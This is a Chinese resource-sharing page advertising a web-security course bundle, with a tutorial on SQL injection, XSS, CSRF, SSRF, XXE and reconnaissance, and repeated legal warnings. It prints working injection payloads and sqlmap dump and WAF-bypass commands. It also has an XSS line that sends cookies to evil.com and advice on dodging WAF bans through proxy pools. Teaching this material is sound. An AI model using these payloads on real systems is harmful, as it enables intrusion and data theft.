掌控安全学院-web安全工程师高薪正式班 – 带源码课件全套教程资源分享

📖 资源简介

今天分享一套掌控安全学院-web安全工程师高薪正式班 – 带源码课件的课程资源，内容挺系统的，适合想认真学习的同学。

✨ 资源亮点

• 内容扎实：73节视频课程，跟着老师一步步操作，比自学摸索快得多。
• 配套齐全：源码、课件、工具都打包好了（共1个压缩包），下载就能直接用。
• 带源码课件：不是纯视频录像，配套的源代码和PPT都在，方便对照学习和二次修改。
• 就业导向：课程体系是按照企业实际需求设计的，学完能直接上手做项目。
• 模块丰富：涵盖12个学习模块，知识点覆盖全面。

📚 课程内容

课程大纲

1. 01Web通信原理
2. 02Web安全前后端基础
3. 03信息搜集
4. 04注入— 全方位利用
5. 05数据库注入
6. 06前端渗透测试
7. 07文件上传解析漏洞
8. 08漏洞原理到利用
9. 09漏洞挖掘与代码审计
10. 10福利附送大礼包 … 等共12个模块

资源清单

学习 Web 安全，先把”红线”划清楚

在开始之前，必须先讲一句话，这句话比任何 payload 都重要：

未经授权的测试都是违法的。 不管你技术多熟练，只要你没有获得目标系统所有者的书面授权，对它做任何扫描、探测、利用，都可能触犯《网络安全法》《刑法》第 285/286 条。

课程里讲的所有手法，唯一合法的练习场所是：自己搭建的靶场（DVWA、Pikachu、Vulhub、本地虚拟机）、授权的 SRC 众测项目、合法 CTF 比赛。把这句话贴在显示器上。

一、Web 安全的知识地图：OWASP Top 10

OWASP Top 10 是 Web 安全行业的”考纲”，每隔几年更新一次，几乎所有 Web 漏洞都能在这张表里找到位置。

下面挑课程里重点讲的几类展开。

二、SQL 注入：最经典也最常考

为什么会有 SQL 注入

// 危险写法：直接拼字符串
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = " . $id;
$result = mysqli_query($conn, $sql);

正常请求 ?id=1，SQL 没问题。攻击者传 ?id=1 OR 1=1，整个 WHERE 条件就被改了。传 ?id=1; DROP TABLE users--，如果数据库支持多语句，就是堆叠注入。

四种常见类型

1. 联合查询注入（UNION）——页面会直接回显查询结果：

-- 先猜列数
?id=1 ORDER BY 3--
-- 找到回显位后查数据
?id=-1 UNION SELECT user(), version(), database()--
?id=-1 UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables WHERE table_schema=database()--

2. 报错注入——页面不回显，但会把 SQL 错误打出来：

-- updatexml 最多报 32 个字符
?id=1 AND updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1)--
?id=1 AND extractvalue(1, concat(0x7e, (SELECT user())))--

3. 布尔盲注——页面只回显”正常 / 异常”两种状态：

-- 一位一位猜
?id=1 AND ascii(substr(database(),1,1)) > 100

4. 时间盲注——页面完全无回显，靠响应时间判断：

?id=1 AND IF(ascii(substr(database(),1,1))=116, sleep(3), 0)

自动化武器 SQLMap

手工注入是基本功，但真正挖洞时都靠工具：

# 基础检测

![封面图](https://www.suyouke.com/wp-content/uploads/2026/09/doubao_img_023_20260922_113350-8.png)
sqlmap -u "http://target/page.php?id=1" --dbs

# 指定 cookie 跑登录后的页面

![封面图](https://www.suyouke.com/wp-content/uploads/2026/09/doubao_img_023_20260922_113350-8.png)
sqlmap -u "http://target/admin.php?id=1" --cookie="PHPSESSID=xxx" --current-db

# 跑数据

![封面图](https://www.suyouke.com/wp-content/uploads/2026/09/doubao_img_023_20260922_113350-8.png)
sqlmap -u "http://target/page.php?id=1" -D mydb --tables
sqlmap -u "http://target/page.php?id=1" -D mydb -T users --dump

# 绕过 WAF（--tamper 是一组自带脚本）

![封面图](https://www.suyouke.com/wp-content/uploads/2026/09/doubao_img_023_20260922_113350-8.png)
sqlmap -u "http://target/page.php?id=1" --tamper=space2comment,between

防御：参数化查询是唯一正解

// 正确写法：预处理 + 占位符，数据永远是数据
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);

不要试图靠正则过滤关键字，绕过姿势无穷无尽（大小写混合、注释内联、宽字节、HTTP 分块……）。

三、XSS：把脚本塞进别人的浏览器

最简单的 payload：

<script>alert(document.cookie)</script>

实际渗透中要绕过过滤，常见变形：

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<script>fetch('//evil.com/?c='+document.cookie)</script>

防御三件套：

1. 输出编码：把 < > & " 转成 < > & "。
2. HttpOnly Cookie：Set-Cookie: session=xxx; HttpOnly，JS 读不到 cookie，XSS 偷不到会话。
3. CSP（内容安全策略）：

Content-Security-Policy: default-src 'self'; script-src 'self'

CSP 相当于告诉浏览器”只允许执行本站脚本”，内联 <script> 直接被拦。

四、CSRF：借你的身份点一下按钮

CSRF 不是偷你数据，是借你登录态去发请求。银行站你登录着，攻击者在自己站挂一张图片：

<img src="http://bank.com/transfer?to=attacker&money=10000">

你一打开这个页面，浏览器自动带 cookie 发请求，钱就转走了。

防御：

• Token 验证：表单里放一个随机 token，服务端校验。
• SameSite Cookie：Set-Cookie: session=xxx; SameSite=Lax，跨站请求不带 cookie。
• 关键操作二次确认：转账时再输一次密码 / 短信验证码。

五、文件上传与解析漏洞

文件上传漏洞的核心是服务器把你传的”图片”当成 PHP 执行了。

常见绕过思路（课程 07 模块讲得很细）：

防御：白名单后缀 + 重命名文件 + 上传目录禁止执行 + 不允许用户目录里有任何脚本解释器。

六、其他高频漏洞速览

• SSRF（服务端请求伪造）：你让服务器帮你发请求，结果它能访问内网（http://127.0.0.1:6379、http://169.254.169.254/ 云元数据）。
• XXE：XML 解析器默认允许外部实体，<!ENTITY xxe SYSTEM "file:///etc/passwd"> 直接读文件。
• 反序列化：PHP unserialize($_COOKIE) 是高危函数，POP 链一通就能 RCE。
• 越权：水平越权（改 user_id=1 看 user_id=2 的订单）、垂直越权（普通用户调管理员接口）。
• 逻辑漏洞：支付时把价格改成 0、验证码不失效、密码重置 token 可预测。

七、信息收集：渗透测试的”前戏”

课程 03 模块反复强调一句话：“渗透测试一半时间在做信息收集。” 知道的攻击面越多，成功率越高。

# 子域名

![封面图](https://www.suyouke.com/wp-content/uploads/2026/09/doubao_img_023_20260922_113350-8.png)
subfinder -d example.com
amass enum -d example.com

# 端口扫描

![封面图](https://www.suyouke.com/wp-content/uploads/2026/09/doubao_img_023_20260922_113350-8.png)
nmap -sV -sC -p- target.com

# 目录爆破

![封面图](https://www.suyouke.com/wp-content/uploads/2026/09/doubao_img_023_20260922_113350-8.png)
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt

# 指纹识别

![封面图](https://www.suyouke.com/wp-content/uploads/2026/09/doubao_img_023_20260922_113350-8.png)
whatweb http://target.com
wappalyzer（浏览器插件）

Google Hacking 语法：

site:example.com inurl:admin
site:example.com ext:sql | ext:bak | ext:zip
site:example.com intitle:index of

八、必备工具链

课程里 13 期新课专门讲了 Cobalt Strike 和 SQLMap 绕 WAF 脚本，这两块在实战里用得非常多。

学习路线导读

按这套课的 12 个模块，建议这样学：

1. 01 Web 通信原理 + 02 前后端基础：先把 HTTP、HTML、SQL、PHP 这些”业务方”的知识补到位。不懂开发的人做不出高水平渗透，因为你读不懂代码。
2. 03 信息收集：方法论，是后面所有漏洞的”地图”。
3. 04 注入 + 05 数据库注入：SQL 注入是重中之重，从 MySQL 到 Access / MSSQL / Oracle 全部过一遍。
4. 06 前端渗透：XSS、CSRF。
5. 07 文件上传 + 08 漏洞原理：文件上传、逻辑漏洞、SSRF、XXE、反序列化、命令执行。
6. 09 漏洞挖掘与代码审计：从”会用 payload”升级到”能从源码里找洞”，这是薪资跃迁的关键。
7. 福利课 / 13 期新课：WAF 绕过、Cobalt Strike 实战。

高频面试 / 笔试考点

• SQL 注入有哪几种类型？分别怎么判断和利用？
• 宽字节注入的原理是什么？（%df%27 把转义的 \ 吃掉）
• XSS 和 CSRF 区别？分别怎么防御？
• 文件上传漏洞有哪些常见绕过方式？
• 什么是 SSRF？怎么利用和防御？
• 什么是越权？水平越权和垂直越权区别？
• 渗透测试的标准流程（PTES）有哪几个阶段？
• 拿到一个站点，你的第一步做什么？

常见踩坑 FAQ

Q：学 Web 安全要先学多久编程？ A：至少要能写一个简单的 PHP + MySQL 留言板。看不懂 PHP / SQL 就读不懂漏洞成因，背 payload 等于背答案，换个站就废。

Q：可以直接扫公网练手吗？ A：绝对不行。合法渠道：DVWA / Pikachu / Vulhub / 自建靶场 / 合法 SRC 众测 / Hack The Box / TryHackMe。

Q：Burp 抓不到 HTTPS 包？ A：需要把 Burp 的 CA 证书装到浏览器（或系统）里信任。这是新手最常卡的一步。

Q：SQLMap 一跑就被 WAF 封 IP？ A：用 --tamper 脚本绕、加 --delay 降速、用代理池换 IP。课程 13 期”SQLmap 绕 WAF 脚本编写”专门讲这个。

总结与学习建议

Web 安全这行，入门快、精进难。会用工具抓包 + 跑 SQLMap 是入门；能从一份源码里挖出别人挖不出的洞、能讲清楚为什么这里有洞、能给出修复方案，才是高薪工程师。

学习路径上的三条建议：

1. 先补开发，再学攻击。每周写一个小网站，再把它打爆，进步最快。
2. 靶场 + 源码对照。每学一个漏洞，就在 DVWA / Pikachu 里复现一遍，再去看源码为什么这么写有洞。
3. 关注官方公告与 CVE。每月看一次 OWASP 官网、FreeBuf、安全客，新漏洞都是从真实世界来的。

最后再强调一次：技术是中性的，使用场景决定它的法律性质。 把学的东西用在合法授权的项目里，才能真正变成职业资本。

📁 目录结构

目录概览

• 📂 01Web通信原理
• 📂 02Web安全前后端基础（含 00 基础福利课）
• 📂 03信息搜集
• 📂 04注入— 全方位利用
• 📂 05数据库注入
• 📂 06前端渗透测试
• 📂 07文件上传解析漏洞
• 📂 08漏洞原理到利用
• 📂 09漏洞挖掘与代码审计
• 📂 10福利附送大礼包（内网渗透 / WAF 绕过 / 实战代码审计）
• 📂 13期新课（SQLmap 绕 WAF / Cobalt Strike）

[V2]掌控安全学院-web安全工程师高薪正式班/
├── 01 Web通信原理
│   ├── 虚拟机安装 / 开学典礼
│   ├── Web 服务器通信原理
│   └── 快速自建 Web 安全测试环境
├── 02 Web安全前后端基础
│   ├── 00 基础福利课（PHP 入门 / 数据库 / SQL /
   │              表单向导 / 编写第一个网站）
│   ├── 前端基础
│   └── 后端基础（SQL 语法 / 高级查询与子查询 /
                  PHP 基本函数 / 表单验证 / 正则表达式）
├── 03 信息搜集
│   ├── 信息搜集的意义与方法论
│   └── 网络架构 / 前端 / 系统 三个维度的信息收集
├── 04 注入—全方位利用
│   ├── SQL 注入原理分析
│   ├── 渗透测试常用工具
│   ├── POST 注入 / HEAD 注入
│   ├── 盲注
│   └── 宽字节注入
├── 05 数据库注入
│   ├── Access（Cookie 注入 / 偏移注入）
│   ├── MySQL（DNS 注入）
│   ├── MSSQL（反弹注入）
│   └── Oracle（报错注入）
├── 06 前端渗透测试
│   ├── XSS 原理分析
│   ├── 存储型 XSS
│   ├── DOM Based XSS
│   └── CSRF
├── 07 文件上传解析漏洞（验证 / 解析 / 伪造 三讲）
├── 08 漏洞原理到利用
│   ├── 验证码绕过 / 密码找回
│   ├── 越权漏洞 / 支付漏洞
│   ├── SSRF / XXE / 代码执行
│   ├── 本地包含 / 远程包含 / 变量覆盖
│   ├── unserialize 反序列化
│   └── 命令执行漏洞
├── 09 漏洞挖掘与代码审计
├── 10 福利大礼包
│   ├── 内网渗透
│   ├── WAF 绕过
│   └── 实战代码审计
└── 13 期新课
    ├── SQLmap 绕 WAF 脚本编写
    └── Cobalt Strike 讲解

资源获取

💡 建议：尽快保存到本地网盘或电脑，避免分享链接后期失效。

整理不易，如果对你有帮助，欢迎分享给更多需要的朋友。